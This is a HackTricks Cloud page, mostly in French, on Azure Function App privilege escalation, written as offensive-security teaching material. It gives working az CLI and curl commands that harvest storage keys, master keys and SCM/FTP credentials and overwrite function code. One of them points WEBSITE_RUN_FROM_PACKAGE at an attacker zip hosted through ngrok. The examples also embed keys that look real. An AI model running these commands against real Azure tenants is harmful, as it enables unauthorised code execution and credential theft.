Az - Functions App Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Function Apps
Check the following page for more information:
Bucket Read/Write
Avec des permissions de lecture sur les containers à l’intérieur du Storage Account qui stocke les données de la function, il est possible de trouver différents containers (personnalisés ou avec des noms prédéfinis) qui peuvent contenir le code exécuté par la function.
Une fois que vous trouvez où le code de la function est situé, si vous avez des permissions d’écriture dessus, vous pouvez faire exécuter n’importe quel code par la function et escalader les privilèges vers les managed identities attachées à la function.
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Le code de la function est généralement stocké dans un file share. Avec un accès suffisant, il est possible de modifier le fichier de code et forcer la function à charger du code arbitraire, permettant d’escalader les privilèges vers les managed identities attachées à la Function.
Cette méthode de déploiement configure habituellement les paramètres WEBSITE_CONTENTAZUREFILECONNECTIONSTRING et WEBSITE_CONTENTSHARE que vous pouvez obtenir depuis
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Ces configs contiendront la Storage Account Key que la Function peut utiliser pour accéder au code.
Caution
Avec suffisamment de permissions pour se connecter au File Share et modify the script qui tourne, il est possible d’exécuter du code arbitraire dans la Function et d’escalate privileges.
The following example uses macOS to connect to the file share, but it’s recommended to check also the following page for more info about file shares:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
Il est aussi courant de trouver les archives zip dans le dossier function-releases du conteneur Storage Account que la function app utilise, dans un conteneur généralement appelé function-releases.
Généralement, cette méthode de déploiement définira la configuration WEBSITE_RUN_FROM_PACKAGE dans :
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Cette configuration contient généralement une SAS URL pour télécharger le code depuis le Storage Account.
Caution
Avec des permissions suffisantes pour se connecter au blob container qui contient le code en zip, il est possible d’exécuter du code arbitraire dans la Function et d’escalader les privilèges.
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
Comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier github-actions-deploy dans le Storage Account contenant un zip du code et une SAS URL vers le zip dans le paramètre WEBSITE_RUN_FROM_PACKAGE.
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Avec des permissions pour lire les containers à l’intérieur du Storage Account qui stocke les données de la Function, il est possible de trouver le container scm-releases. Là, il est possible de trouver la dernière release en Squashfs filesystem file format et donc de lire le code de la Function :
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Il est également possible de trouver les master and functions keys stockées dans le storage account, dans le container azure-webjobs-secrets, à l’intérieur du dossier <app-name>, dans les fichiers JSON qui s’y trouvent.
Caution
Avec des autorisations suffisantes pour se connecter au blob container qui contains the code in a zip extension file (qui en réalité est un
squashfs), il est possible d’exécuter du code arbitraire dans la Function et d’escalader les privilèges.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Cette permission permet de lister les clés function, master et system, mais pas la clé host, de la fonction spécifiée avec:
az functionapp keys list --resource-group <res_group> --name <func-name>
Avec la master key, il est aussi possible d’obtenir le code source via une URL comme :
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
Et pour modifier le code qui est exécuté dans la fonction avec :
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Cette permission permet d’obtenir la clé par défaut de la fonction spécifiée avec :
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Appeler la fonction en utilisant la clé par défaut obtenue :
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
Cette permission permet de créer/mettre à jour une clé de fonction de la fonction spécifiée avec :
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Cette permission permet de créer/mettre à jour une master key pour la fonction spécifiée avec :
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
N’oubliez pas qu’avec cette key vous pouvez également accéder au source code et le modifier comme expliqué précédemment !
Microsoft.Web/sites/host/systemKeys/write
Cette permission permet de créer/mettre à jour un system function key pour la function spécifiée avec :
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Utilisez la clé :
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
Cette permission permet d’obtenir les paramètres d’une fonction. Dans ces configurations, il peut être possible de trouver les valeurs par défaut AzureWebJobsStorage ou WEBSITE_CONTENTAZUREFILECONNECTIONSTRING qui contiennent une clé de compte permettant d’accéder au blob storage de la fonction avec des autorisations COMPLETES.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
De plus, cette permission permet également d’obtenir le SCM username and password (si activés) avec :
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
Ces permissions permettent de lister les valeurs de configuration d’une fonction comme nous l’avons vu précédemment, et aussi de modifier ces valeurs. C’est utile car ces paramètres indiquent où se trouve le code à exécuter à l’intérieur de la fonction.
Il est donc possible de définir la valeur du paramètre WEBSITE_RUN_FROM_PACKAGE pointant vers un fichier zip accessible via une URL contenant le nouveau code à exécuter dans une application web :
- Commencez par récupérer la configuration actuelle
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Créez le code que vous voulez que la fonction exécute et hébergez-le publiquement
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Modifiez la fonction, conservez les paramètres précédents et ajoutez à la fin la config
WEBSITE_RUN_FROM_PACKAGEpointant vers l’URL contenant le zip avec le code.
L’exemple suivant montre mes propres paramètres — vous devrez remplacer les valeurs par les vôtres, notez qu’à la fin la valeur "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" indique où j’hébergeais l’application.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
Avec cette permission, il est possible de modifier le code d’une application via la console web (ou via le point de terminaison API suivant) :
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
Cette permission permet de lister tous les profils de publication qui contiennent essentiellement des basic auth credentials :
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Une autre option serait de définir vos propres creds et de les utiliser :
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Si les identifiants REDACTED
Si vous voyez que ces identifiants sont REDACTED, c’est parce que vous devez activer l’option SCM basic authentication et pour cela vous avez besoin de la seconde permission (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Méthode SCM
Ensuite, vous pouvez accéder à l’URL SCM de votre function app avec ces basic auth credentials et obtenir les valeurs des env variables :
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Notez que le nom d’utilisateur SCM est généralement le caractère “$” suivi du nom de l’application, donc : $<app-name>.
Vous pouvez aussi accéder à la page web depuis https://<app-name>.scm.azurewebsites.net/BasicAuth
Les valeurs des settings contiennent la AccountKey du storage account qui stocke les données de la function app, ce qui permet de contrôler ce storage account.
- Méthode FTP
Connectez-vous au serveur FTP en utilisant :
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Notez que le FTP username est généralement au format <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
Cette permission permet de lire le code source de l’app via le VFS :
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
Avec cette permission il est possible de get the admin token qui peut ensuite être utilisé pour récupérer la master key et donc accéder et modifier the function’s code.
Cependant, lors de mes derniers contrôles aucun token n’a été retourné, donc il se peut qu’il soit désactivé ou ne fonctionne plus, mais voici comment procéder :
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
Ces permissions permettent d’activer des fonctions qui pourraient être désactivées (ou de les désactiver).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Il est également possible de vérifier si une fonction est activée ou désactivée à l’URL suivante (en utilisant l’autorisation entre parenthèses) :
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
Avec ces permissions il est possible de modifier le conteneur exécuté par une function app configurée pour exécuter un container. Cela permettrait à un attaquant de téléverser une azure function container app malveillante sur docker hub (par exemple) et de faire en sorte que la function app l’exécute.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
Avec ces permissions, il est possible d’attacher une nouvelle user managed identity à une function. Si la function était compromise, cela permettrait d’escalader les privilèges sur n’importe quelle user managed identity.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Remote Debugging
Il est aussi possible de se connecter pour déboguer une Azure function en cours d’exécution comme explained in the docs. Cependant, par défaut Azure désactivera cette option au bout de 2 jours si le développeur l’oublie, afin d’éviter de laisser des configurations vulnérables.
Il est possible de vérifier si une Function a le débogage activé avec:
az functionapp show --name <app-name> --resource-group <res-group>
En disposant de la permission Microsoft.Web/sites/config/write, il est également possible de mettre une fonction en mode débogage (la commande suivante nécessite aussi les permissions Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read et Microsoft.Web/sites/Read).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Changer le repo Github
J’ai essayé de changer le repo Github d’où le déploiement a lieu en exécutant les commandes suivantes, mais même si cela a changé, le nouveau code n’a pas été chargé (probablement parce qu’il attend que la Github Action mette à jour le code).
De plus, la managed identity federated credential wasn’t updated pour autoriser le nouveau repository, donc cela ne semble pas très utile.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

